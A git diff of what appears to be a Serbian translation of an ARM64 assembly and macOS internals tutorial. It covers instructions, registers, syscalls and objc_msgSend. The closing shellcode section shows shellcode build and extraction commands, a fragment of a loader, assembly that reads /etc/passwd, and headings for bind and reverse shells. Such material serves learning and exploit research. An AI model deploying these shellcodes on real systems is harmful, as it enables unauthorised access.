-- Пример: `stur x0, [x1, #4]` — Ово чува вредност у `x0` у меморијској адреси која је 4 бајта већа од адресе која се тренутно налази у `x1`.
-- **`svc`** : Изврши **системски позив**. Ово значи "Позив надзорника". Када процесор извршава ову инструкцију, **прелази из режима корисника у режим језгра** и скочи на одређену локацију у меморији где се налази **код за обраду системских позива** језгра.
+- **Logical shift left**: Dodaje 0-ice na kraj pomerajući ostale bitove napred (množenje za 2^n)
+- **Logical shift right**: Dodaje 0-ice na početak pomerajući ostale bitove nazad (deljenje za 2^n kod unsigned)
+- **Arithmetic shift right**: Kao **`lsr`**, ali umesto dodavanja 0-ica, ako je najznačajniji bit 1 dodaju se 1-ice (deljenje za 2^n kod signed)
+- **Rotate right**: Kao **`lsr`**, ali ono što se izbaci sa desne strane se pridodaje levoj strani
+- **Rotate Right with Extend**: Kao **`ror`**, ali sa carry flag-om kao "najznačajnijim bitom". Dakle carry se pomera na bit 31, a uklonjeni bit ide u carry flag.
+- **`bfm`**: **Bit Field Move**, ove operacije **kopiraju bitove `0...n`** iz vrednosti i postavljaju ih na pozicije **`m..m+n`**. **`#s`** specificira **levo najudaljeniji bit**, a **`#r`** količinu rotacije udesno.
+- Bitfield move: `BFM Xd, Xn, #r`
+- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
+- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
+- **Bitfield Extract and Insert:** Kopira bitfield iz registra i umešta ga u drugi registar.
+- **`BFI X1, X2, #3, #4`** Umešta 4 bita iz X2 počevši od 3. bita u X1
+- **`BFXIL X1, X2, #3, #4`** Ekstrahuje iz 3. bita X2 četiri bita i kopira ih u X1
+- **`SBFIZ X1, X2, #3, #4`** Sign-extends 4 bita iz X2 i umešta ih u X1 počevši od pozicije 3, nulteći desne bitove
+- **`SBFX X1, X2, #3, #4`** Ekstrahuje 4 bita počevši od bita 3 iz X2, sign-extends ih i postavlja rezultat u X1
+- **`UBFIZ X1, X2, #3, #4`** Zero-extends 4 bita iz X2 i umešta ih u X1 počevši od pozicije 3, nulteći desne bitove
+- **`UBFX X1, X2, #3, #4`** Ekstrahuje 4 bita počevši od bita 3 iz X2 i smešta zero-extended rezultat u X1.
+- **Sign Extend To X:** Proširuje znak (ili dodaje 0-ice u unsigned verziji) vrednosti da bi se mogle izvršiti operacije:
+- **`SXTB X1, W2`** Proširuje znak bajta iz `W2` u `X1` ( `W2` je polovina `X2`) da popuni 64 bita
+- **`SXTH X1, W2`** Proširuje znak 16-bitnog broja iz `W2` u `X1` da popuni 64 bita
+- **`SXTW X1, W2`** Proširuje znak iz `W2` u `X1` da popuni 64 bita
+- **`UXTB X1, W2`** Dodaje 0-ice (unsigned) na bajt iz `W2` u `X1` da popuni 64 bita
+- **`extr`**: Ekstrahuje bitove iz specificiranog para registara koji su konkatenirani.
+- Primer: `EXTR W3, W2, W1, #3` Ovo će konkatenirati W1+W2 i uzeti od bita 3 W2 do bita 3 W1 i smestiti u W3.
+- **`cmp`**: **Uporedi** dva registra i postavi condition flag-ove. To je alias od `subs` postavljajući destinacioni registar na zero registar. Korisno da se zna da li je `m == n`.
+- Podržava istu sintaksu kao `subs`
+- Primer: `cmp x0, x1` — Upoređuje vrednosti u `x0` i `x1` i postavlja condition flag-ove u skladu s tim.
+- **`cmn`**: **Compare negative** operand. U ovom slučaju je alias od `adds` i podržava istu sintaksu. Korisno da se zna da li je `m == -n`.
+- **`ccmp`**: Conditional comparison, poređenje koje će se izvršiti samo ako je prethodno poređenje bilo tačno i specifično postavi nzcv bitove.
+- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ako x1 != x2 i x3 < x4, skoči na func
+- Ovo zato što će se **`ccmp`** izvršiti samo ako je prethodni `cmp` bio `NE`; ako nije, bitovi `nzcv` će biti postavljeni na 0 (što neće zadovoljiti `blt` poređenje).
+- Ovo se takođe može koristiti kao `ccmn` (isto ali negativno, kao `cmp` vs `cmn`).
+- **`tst`**: Proverava da li su neki od bitova oba operanda 1 (radi kao `ANDS` bez skladištenja rezultata). Koristan za proveru registra sa maskom.
+- Primer: `tst X1, #7` Proverava da li je bilo koji od poslednja 3 bita X1 postavljen
+- **`teq`**: XOR operacija odbacujući rezultat
+- **`b`**: Neuslovni branch
+- Primer: `b myFunction`
+- Napomena: ovo neće popuniti link registar adresom povratka (nije pogodno za subroutine pozive koji moraju da se vrate)
+- **`bl`**: **Branch** with link, koristi se za **pozivanje** subrutine. Smešta **adresu povratka u `x30`**.
+- Primer: `bl myFunction` — Poziva funkciju `myFunction` i smešta adresu povratka u `x30`.
+- Napomena: ovo neće popuniti link registar adresom povratka (nije pogodno za subroutine pozive koji moraju da se vrate)
+- **`blr`**: **Branch** with Link to Register, koristi se za **pozivanje** subrutine gde je cilj **specificiran u registru**. Smešta adresu povratka u `x30`.
+- Primer: `blr x1` — Poziva funkciju čija je adresa u `x1` i smešta adresu povratka u `x30`.
+- **`ret`**: **Povratak** iz subrutine, tipično koristeći adresu u **`x30`**.
+- Primer: `ret` — Vraća se iz trenutne subrutine koristeći adresu povratka u `x30`.
+- **`b.<cond>`**: Uslovni branch-ovi
+- **`b.eq`**: **Branch ako je jednako**, na osnovu prethodnog `cmp` instrukcije.
+- Primer: `b.eq label` — Ako je prethodni `cmp` našao dve jednake vrednosti, skoči na `label`.
+- **`b.ne`**: **Branch ako nije jednako**. Ova instrukcija proverava condition flag-ove (koje je postavio prethodni cmp) i ako nisu jednaki, grana se.
+- Primer: Nakon `cmp x0, x1`, `b.ne label` — Ako vrednosti u `x0` i `x1` nisu jednake, skoči na `label`.
+- **`cbz`**: **Compare and Branch on Zero**. Upoređuje registar sa nulom, i ako je jednak, grana.
+- Primer: `cbz x0, label` — Ako je vrednost u `x0` nula, skoči na `label`.
+- **`cbnz`**: **Compare and Branch on Non-Zero**. Upoređuje registar sa nulom, i ako nije jednak, grana.
+- Primer: `cbnz x0, label` — Ako je vrednost u `x0` različita od nule, skoči na `label`.
+- **`tbnz`**: Test bit i branch na nonzero
+- Primer: `tbnz x0, #8, label`
+- **`tbz`**: Test bit i branch na zero
+- Primer: `tbz x0, #8, label`
+- **Conditional select operations**: Operacije čije se ponašanje menja u zavisnosti od condition bitova.
+- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ako je uslov istinit, X0 = X1, inače X0 = X2
+- `csinc Xd, Xn, Xm, cond` -> Ako je istinito, Xd = Xn, inače Xd = Xm + 1
+- `cinc Xd, Xn, cond` -> Ako je istinito, Xd = Xn + 1, inače Xd = Xn
+- `csinv Xd, Xn, Xm, cond` -> Ako je istinito, Xd = Xn, inače Xd = NOT(Xm)
+- `cinv Xd, Xn, cond` -> Ako je istinito, Xd = NOT(Xn), inače Xd = Xn
+- `csneg Xd, Xn, Xm, cond` -> Ako je istinito, Xd = Xn, inače Xd = - Xm
+- `cneg Xd, Xn, cond` -> Ako je istinito, Xd = - Xn, inače Xd = Xn
+- `cset Xd, Xn, Xm, cond` -> Ako je istinito, Xd = 1, inače Xd = 0
+- `csetm Xd, Xn, Xm, cond` -> Ako je istinito, Xd = \<all 1>, inače Xd = 0
+- **`adrp`**: Izračunaj **page adresu simbolа** i smesti je u registar.
+- Primer: `adrp x0, symbol` — Izračunava page adresu `symbol` i smešta je u `x0`.
+- **`ldrsw`**: **Učitaj** potpisani **32-bit** vrednost iz memorije i **sign-extend** je na 64 bita.
+- Primer: `ldrsw x0, [x1]` — Učita potpisanu 32-bit vrednost sa memorijske lokacije na koju pokazuje `x1`, proširi je na 64 bita i smešta u `x0`.
+- **`stur`**: **Smeštanje vrednosti registra u memoriju**, koristeći offset od drugog registra.
+- Primer: `stur x0, [x1, #4]` — Smešta vrednost iz `x0` na memorijsku adresu koja je 4 bajta veća od adrese u `x1`.
+- **`svc`** : Napravi **sistemski poziv**. Skraćenica od "Supervisor Call". Kada procesor izvrši ovu instrukciju, on **prelazi iz user moda u kernel mode** i skače na određenu lokaciju u memoriji gde je kod kernela za obradu sistemskih poziva.
 
-- Пример:
+- Primer:
 
 ```armasm
-mov x8, 93  ; Учитај број системског позива за излаз (93) у регистар x8.
-mov x0, 0   ; Учитај код статуса изласка (0) у регистар x0.
-svc 0       ; Изврши системски позив.
+mov x8, 93  ; Load the system call number for exit (93) into register x8.
+mov x0, 0   ; Load the exit status code (0) into register x0.
+svc 0       ; Make the system call.
 ```
 
-### **Пролог Функције**
+### **Function Prologue**
 
-1. **Сачувајте регистар за повратак и показивач оквира на стеку**:
+1. **Sačuvajte link registar i frame pointer na stek**:
 ```armasm
 stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
 ```
-2. **Postavite novi pokazivač okvira**: `mov x29, sp` (postavlja novi pokazivač okvira za trenutnu funkciju)  
-3. **Dodelite prostor na steku za lokalne promenljive** (ako je potrebno): `sub sp, sp, <size>` (gde je `<size>` broj bajtova koji su potrebni)  
+2. **Podesi novi pokazivač okvira**: `mov x29, sp` (postavlja novi pokazivač okvira za trenutnu funkciju)
+3. **Alociraj prostor na steku za lokalne promenljive** (ako je potrebno): `sub sp, sp, <size>` (gde je `<size>` broj potrebnih bajtova)
 
 ### **Epilog funkcije**
 
-1. **Dealokacija lokalnih promenljivih (ako su dodeljene)**: `add sp, sp, <size>`  
-2. **Obnovite registrator veze i pokazivač okvira**:
+1. **Dealociraj lokalne promenljive (ako su alocirane)**: `add sp, sp, <size>`
+2. **Vrati link registar i pokazivač okvira**:
 ```armasm
 ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
 ```
-3. **Return**: `ret` (vraća kontrolu pozivaocu koristeći adresu u link registru)
+3. **Povratak**: `ret` (vraća kontrolu pozivaocu koristeći adresu u link registru)
 
-## AARCH32 Izvršna Stanja
+## AARCH32 stanje izvršavanja
 
-Armv8-A podržava izvršavanje 32-bitnih programa. **AArch32** može raditi u jednom od **dva skupa instrukcija**: **`A32`** i **`T32`** i može prebacivati između njih putem **`interworking`**.\
-**Privilegovani** 64-bitni programi mogu zakazati **izvršavanje 32-bitnih** programa izvršavanjem prenosa nivoa izuzetka na niže privilegovane 32-bitne.\
-Napomena da se prelazak sa 64-bitnog na 32-bitni dešava sa smanjenjem nivoa izuzetka (na primer, 64-bitni program u EL1 pokreće program u EL0). Ovo se postiže postavljanjem **bita 4** **`SPSR_ELx`** specijalnog registra **na 1** kada je `AArch32` procesna nit spremna za izvršavanje, a ostatak `SPSR_ELx` čuva **`AArch32`** programe CPSR. Zatim, privilegovani proces poziva **`ERET`** instrukciju tako da procesor prelazi na **`AArch32`** ulazeći u A32 ili T32 u zavisnosti od CPSR**.**
+Armv8-A podržava izvršavanje 32-bitnih programa. **AArch32** može raditi u jednom od **dva skupa instrukcija**: **`A32`** i **`T32`** i može se prebacivati između njih putem **`interworking`**.\
+**Privilegovani** 64-bitni programi mogu rasporediti izvršavanje 32-bitnih programa tako što izvrše transfer nivoa izuzetka na niže privilegovan 32-bitni režim.\
+Obratite pažnju da tranzicija sa 64-bitnog na 32-bitni režim nastaje pri nižem nivou izuzetka (na primer, 64-bitni program u EL1 koji pokreće program u EL0). To se radi tako što se postavi **bit 4 od** **`SPSR_ELx`** specijalnog registra **na 1** kada je `AArch32` procesni thread spreman za izvršavanje, a ostatak `SPSR_ELx` čuva CPSR programa koji se izvršava u **`AArch32`**. Zatim privilegovani proces poziva instrukciju **`ERET`** tako da procesor pređe u **`AArch32`** ulazeći u A32 ili T32 u zavisnosti od CPSR**.**
 
-**`Interworking`** se dešava korišćenjem J i T bitova CPSR. `J=0` i `T=0` znači **`A32`** i `J=0` i `T=1` znači **T32**. Ovo se u suštini prevodi na postavljanje **najnižeg bita na 1** da označi da je skup instrukcija T32.\
-Ovo se postavlja tokom **interworking grana instrukcija,** ali se takođe može postaviti direktno sa drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer:
+The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\
+Ovo se postavlja tokom **interworking branch instrukcija**, ali se može postaviti i direktno drugim instrukcijama kada je PC postavljen kao destinacioni registar. Primer:
 
-Još jedan primer:
+Another example:
 ```armasm
 _start:
 .code 32                ; Begin using A32
@@ -262,62 +265,62 @@ bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
 mov r0, #0
 mov r0, #8
 ```
-### Registar
+### Registri
 
-Postoji 16 32-bitnih registara (r0-r15). **Od r0 do r14** mogu se koristiti za **bilo koju operaciju**, međutim neki od njih su obično rezervisani:
+Postoji 16 32-bitnih registara (r0-r15). **Od r0 do r14** mogu se koristiti za **bilo koju operaciju**, međutim neki su obično rezervisani:
 
-- **`r15`**: Program counter (uvek). Sadrži adresu sledeće instrukcije. U A32 trenutni + 8, u T32, trenutni + 4.
-- **`r11`**: Frame Pointer
-- **`r12`**: Intra-proceduralni pozivni registar
-- **`r13`**: Stack Pointer
-- **`r14`**: Link Register
+- **`r15`**: Programski brojač (uvek). Sadrži adresu sledeće instrukcije. U A32 current + 8, u T32, current + 4.
+- **`r11`**: Pokazivač okvira (Frame Pointer)
+- **`r12`**: Registar za intra-procedural pozive
+- **`r13`**: Pokazivač steka (Napomena: stek je uvek poravnat na 16 bajtova)
+- **`r14`**: Link registar
 
-Pored toga, registri su podržani u **`banked registries`**. To su mesta koja čuvaju vrednosti registara, omogućavajući **brzo prebacivanje konteksta** u obradi izuzetaka i privilegovanih operacija kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.\
-To se postiže **čuvanjem stanja procesora iz `CPSR` u `SPSR`** režima procesora u kojem se izuzetak dešava. Kada se izuzetak vrati, **`CPSR`** se vraća iz **`SPSR`**.
+Pored toga, registri se čuvaju u **`banked registries`**. To su mesta koja skladište vrednosti registara i omogućavaju **brzo prebacivanje konteksta** pri obradi izuzetaka i privilegovanih operacija, kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.  
+Ovo se radi tako što se **stanje procesora iz `CPSR` sačuva u `SPSR`** mod-a procesora u koji je izuzetak preusmeren. Prilikom povratka iz izuzetka, **`CPSR`** se vraća iz **`SPSR`**.
 
 ### CPSR - Registar trenutnog statusa programa
 
-U AArch32 CPSR funkcioniše slično **`PSTATE`** u AArch64 i takođe se čuva u **`SPSR_ELx`** kada se izuzetak dešava kako bi se kasnije obnovila izvršenja:
+U AArch32, CPSR funkcioniše slično kao **`PSTATE`** u AArch64 i takođe se čuva u **`SPSR_ELx`** kada se desi izuzetak da bi se kasnije izvršavanje vratilo:
 
 <figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
 
 Polja su podeljena u nekoliko grupa:
 
-- Registar statusa aplikacionog programa (APSR): Aritmetičke zastavice i dostupne iz EL0
-- Registar stanja izvršenja: Ponašanje procesa (upravlja OS).
+- Application Program Status Register (APSR): aritmetičke zastavice i dostupan iz EL0
+- Execution State Registers: ponašanje procesa (upravlja OS).
 
-#### Registar statusa aplikacionog programa (APSR)
+#### Application Program Status Register (APSR)
 
-- Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (poput AArch64)
-- Zastavica **`Q`**: Postavlja se na 1 kada **dođe do saturacije celih brojeva** tokom izvršenja specijalizovane aritmetičke instrukcije. Kada se postavi na **`1`**, zadržaće tu vrednost dok se ručno ne postavi na 0. Pored toga, ne postoji nijedna instrukcija koja implicitno proverava njenu vrednost, to se mora uraditi čitanjem ručno.
-- Zastavice **`GE`** (Veće ili jednako): Koriste se u SIMD (Jedna instrukcija, više podataka) operacijama, kao što su "paralelno sabiranje" i "paralelno oduzimanje". Ove operacije omogućavaju obradu više tačaka podataka u jednoj instrukciji.
+- Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (isto kao u AArch64)
+- Zastavica **`Q`**: Postavlja se na 1 kad god se desi saturacija celih brojeva tokom izvršavanja specijalizovane saturirajuće aritmetičke instrukcije. Kada je postavljena na **`1`**, zadržaće tu vrednost dok se ručno ne postavi na 0. Pored toga, ne postoji instrukcija koja implicitno proverava njenu vrednost — mora se pročitati ručno.
+- **`GE`** (Greater than or equal) zastavice: Koriste se u SIMD (Single Instruction, Multiple Data) operacijama, kao što su "parallel add" i "parallel subtract". Ove operacije omogućavaju obradu više podatkovnih elemenata u jednoj instrukciji.
 
-Na primer, instrukcija **`UADD8`** **sabira četiri para bajtova** (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim **postavlja `GE` zastavice u `APSR`** na osnovu ovih rezultata. Svaka GE zastavica odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova **prelilo**.
+Na primer, instrukcija **`UADD8`** sabira četiri para bajtova (iz dva 32-bitna operanda) paralelno i skladišti rezultate u 32-bitni registar. Zatim postavlja **`GE`** zastavice u **`APSR`** na osnovu tih rezultata. Svaka GE zastavica odgovara jednom od sabiranja bajtova, označavajući da li je sabiranje za taj par bajtova **prelilo**.
 
 Instrukcija **`SEL`** koristi ove GE zastavice za izvođenje uslovnih akcija.
 
-#### Registri stanja izvršenja
+#### Execution State Registers
 
-- Bitovi **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0, koristi se skup instrukcija A32, a ako je 1, koristi se T32.
-- **IT Block State Register** (`ITSTATE`): Ovo su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom **`IT`**.
-- Bit **`E`**: Ukazuje na **endianness**.
-- Bitovi za režim i masku izuzetaka (0-4): Određuju trenutno stanje izvršenja. **5.** označava da li program radi kao 32bit (1) ili 64bit (0). Ostala 4 predstavljaju **režim izuzetka koji se trenutno koristi** (kada se izuzetak dešava i obrađuje). Broj postavljen **ukazuje na trenutni prioritet** u slučaju da se drugi izuzetak pokrene dok se ovaj obrađuje.
+- Bitovi **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0 koristi se instrukcijski skup A32, a ako je 1 koristi se T32.
+- IT Block State Register (`ITSTATE`): To su bitovi 10-15 i 25-26. Oni čuvaju uslove za instrukcije unutar grupe prefiksirane sa **`IT`**.
+- Bit **`E`**: označava redosled bajtova (endianness).
+- Mode i Exception Mask bitovi (0-4): Određuju trenutno stanje izvršavanja. Peti bit ukazuje da li program radi kao 32bit (1) ili 64bit (0). Ostala četiri predstavljaju mod izuzetka koji se trenutno koristi (kad se izuzetak dogodi i obrađuje). Postavljeni broj označava trenutni prioritet u slučaju da se pokrene drugi izuzetak dok se ovaj obrađuje.
 
 <figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
 
-- **`AIF`**: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova **`A`**, `I`, `F`. Ako je **`A`** 1, to znači da će biti pokrenuti **asinkroni aborti**. **`I`** konfiguriše odgovor na spoljne hardverske **Interrupts Requests** (IRQs). a F se odnosi na **Fast Interrupt Requests** (FIRs).
+- **`AIF`**: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova **`A`**, `I`, `F`. Ako je **`A`** 1, to znači da će biti pokrenuti **asynchronous aborts**. **`I`** konfiguriše odgovor na spoljne hardverske zahteve za prekid (Interrupt Requests, IRQs). A **F** se odnosi na **Fast Interrupt Requests** (FIRs).
 
 ## macOS
 
 ### BSD syscalls
 
-Pogledajte [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls će imati **x16 > 0**.
+Pogledajte [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) ili pokrenite `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls će imati **x16 > 0**.
 
 ### Mach Traps
 
-Pogledajte u [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) `mach_trap_table` i u [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototipove. Maksimalan broj Mach traps je `MACH_TRAP_TABLE_COUNT` = 128. Mach traps će imati **x16 < 0**, tako da treba da pozovete brojeve iz prethodne liste sa **minusom**: **`_kernelrpc_mach_vm_allocate_trap`** je **`-10`**.
+Pogledajte u [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) `mach_trap_table` i u [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototipove. Maksimalan broj Mach traps je `MACH_TRAP_TABLE_COUNT` = 128. Mach traps će imati **x16 < 0**, pa morate pozivati brojeve iz prethodne liste sa **minusom**: **`_kernelrpc_mach_vm_allocate_trap`** je **`-10`**.
 
-Takođe možete proveriti **`libsystem_kernel.dylib`** u disassembleru da biste saznali kako da pozovete ove (i BSD) syscalls:
+Takođe možete pregledati **`libsystem_kernel.dylib`** u disassembleru da biste pronašli kako pozvati ove (i BSD) syscalls:
 ```bash
 # macOS
 dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
 # iOS
 dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
 ```
-Napomena da **Ida** i **Ghidra** takođe mogu dekompilirati **specifične dylibs** iz keša jednostavno prolazeći kroz keš.
+Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
 
 > [!TIP]
-> Ponekad je lakše proveriti **dekompilirani** kod iz **`libsystem_kernel.dylib`** **nego** proveravati **izvorni kod** jer se kod nekoliko syscalls (BSD i Mach) generiše putem skripti (proverite komentare u izvoru) dok u dylib-u možete pronaći šta se poziva.
+> Ponekad je lakše proveriti **dekompilovani** kod iz **`libsystem_kernel.dylib`** **nego** proveravati **izvorni kod** jer se kod nekoliko sistemskih poziva (BSD i Mach) generiše putem skripti (pogledajte komentare u izvornom kodu), dok u dylib-u možete pronaći šta se zapravo poziva.
 
-### machdep pozivi
+### machdep calls
 
-XNU podržava još jedan tip poziva koji se naziva zavistan od mašine. Broj ovih poziva zavisi od arhitekture i ni pozivi ni brojevi nisu garantovani da ostanu konstantni.
+XNU podržava drugi tip poziva nazvan machine dependent. Brojevi ovih poziva zavise od arhitekture i ni pozivi ni brojevi nisu zagarantovani da ostanu konstantni.
 
-### comm stranica
+### comm page
 
-Ovo je stranica memorije vlasnika jezgra koja je mapirana u adresni prostor svakog korisničkog procesa. Namenjena je da ubrza prelazak iz korisničkog moda u kernel prostor brže nego korišćenje syscalls za kernel usluge koje se toliko koriste da bi ovaj prelazak bio veoma neefikasan.
+Ovo je kernel-owned memorijska stranica koja je mapirana u adresni prostor svakog korisničkog procesa. Namenjena je da ubrza prelaz iz user mode-a u kernel space brže nego korišćenje sistemskih poziva za kernel servise koji se toliko često koriste da bi taj prelaz bio veoma neefikasan.
 
-Na primer, poziv `gettimeofdate` čita vrednost `timeval` direktno sa comm stranice.
+Na primer poziv `gettimeofdate` čita vrednost `timeval` direktno iz comm page-a.
 
 ### objc_msgSend
 
-Veoma je uobičajeno pronaći ovu funkciju korišćenu u Objective-C ili Swift programima. Ova funkcija omogućava pozivanje metode objekta Objective-C.
+Veoma je često pronaći ovu funkciju u programima pisanima u Objective-C ili Swift. Ova funkcija omogućava pozivanje metode Objective-C objekta.
 
-Parametri ([više informacija u dokumentaciji](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
+Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
 
 - x0: self -> Pokazivač na instancu
-- x1: op -> Selektor metode
-- x2... -> Ostatak argumenata pozvane metode
+- x1: op -> Selector metode
+- x2... -> Ostali argumenti pozvane metode
 
-Dakle, ako stavite breakpoint pre grananja na ovu funkciju, lako možete pronaći šta se poziva u lldb (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će izvršiti komandu):
+Dakle, ako postavite breakpoint pre grane ka ovoj funkciji, možete lako otkriti šta se poziva u lldb pomoću (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će izvršiti komandu):
 ```bash
 # Right in the line were objc_msgSend will be called
 (lldb) po $x0
@@ -369,31 +372,31 @@ whoami
 )
 ```
 > [!TIP]
-> Postavljanjem env varijable **`NSObjCMessageLoggingEnabled=1`** moguće je logovati kada se ova funkcija poziva u datoteci kao što je `/tmp/msgSends-pid`.
+> Podešavanjem env promenljive **`NSObjCMessageLoggingEnabled=1`** moguće je zabeležiti kada se ova funkcija pozove u fajlu kao što je `/tmp/msgSends-pid`.
 >
-> Pored toga, postavljanjem **`OBJC_HELP=1`** i pozivanjem bilo kog binarnog fajla možete videti druge varijable okruženja koje možete koristiti da **log** kada se određene Objc-C akcije dešavaju.
+> Nadalje, podešavanjem **`OBJC_HELP=1`** i pokretanjem bilo kog binarnog fajla možeš videti druge environment promenljive koje možeš koristiti da **zabeležiš** kada se određene Objc-C akcije dese.
 
-Kada se ova funkcija pozove, potrebno je pronaći pozvanu metodu označene instance, za to se vrše različite pretrage:
+Kada se ova funkcija pozove, potrebno je pronaći metod koji je pozvan za datu instancu; za to se izvode različite pretrage:
 
-- Izvršiti optimističku pretragu u kešu:
-- Ako je uspešno, gotovo
-- Zauzeti runtimeLock (čitanje)
-- Ako (realize && !cls->realized) realizovati klasu
-- Ako (initialize && !cls->initialized) inicijalizovati klasu
-- Pokušati keš vlastite klase:
-- Ako je uspešno, gotovo
-- Pokušati listu metoda klase:
-- Ako je pronađeno, popuniti keš i gotovo
-- Pokušati keš nadklase:
-- Ako je uspešno, gotovo
-- Pokušati listu metoda nadklase:
-- Ako je pronađeno, popuniti keš i gotovo
-- Ako (resolver) pokušati metodu resolvera, i ponoviti od pretrage klase
-- Ako ste još ovde (= sve ostalo je propalo) pokušati forwarder
+- Izvrši optimistic cache lookup:
+- Ako uspe, gotovo
+- Stekni runtimeLock (read)
+- If (realize && !cls->realized) realize class
+- If (initialize && !cls->initialized) initialize class
+- Pokušaj class own cache:
+- Ako uspe, gotovo
+- Pokušaj class method list:
+- Ako je pronađeno, popuni cache i gotovo
+- Pokušaj superclass cache:
+- Ako uspe, gotovo
+- Pokušaj superclass method list:
+- Ako je pronađeno, popuni cache i gotovo
+- Ako (resolver) postoji, pokušaj method resolver i ponovi od class lookup
+- Ako si i dalje ovde (= sve ostalo je propalo), pokušaj forwarder
 
 ### Shellcodes
 
-Da biste kompajlirali:
+Za kompajliranje:
 ```bash
 as -o shell.o shell.s
 ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
 echo -n '\\x'$c
 done
 ```
-Za novije macOS:
+Za novije verzije macOS-a:
 ```bash
 # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
 for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@@ -417,7 +420,7 @@ done
 ```
 <details>
 
-<summary>C kod za testiranje shellcode-a</summary>
+<summary>C code za testiranje shellcode</summary>
 ```c
 // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
 // gcc loader.c -o loader
@@ -467,7 +470,7 @@ return 0;
 
 #### Shell
 
-Preuzeto iz [**ovde**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) i objašnjeno.
+Preuzeto sa [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) i objašnjeno.
 
 {{#tabs}}
 {{#tab name="with adr"}}
@@ -537,9 +540,9 @@ sh_path: .asciz "/bin/sh"
 {{#endtab}}
 {{#endtabs}}
 
-#### Čitaj sa cat
+#### Pročitaj pomoću cat
 
-Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stek adresa).
+Cilj je da se izvrši `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, pa je drugi argument (x1) niz parametara (što u memoriji znači stack adresa).
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
 .align 2
 passwd_path: .asciz "/etc/passwd"
 ```
-#### Pozovite komandu sa sh iz fork-a tako da glavni proces ne bude ubijen
+#### Pozovi komandu sa sh iz fork-a tako da glavni proces ne bude ubijen
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
 ```
 #### Bind shell
 
-Bind shell sa [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) na **portu 4444**
+Bind shell iz [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) na **port 4444**
 ```armasm
 .section __TEXT,__text
 .global _main
@@ -695,7 +698,7 @@ svc  #0x1337
 ```
 #### Reverse shell
 
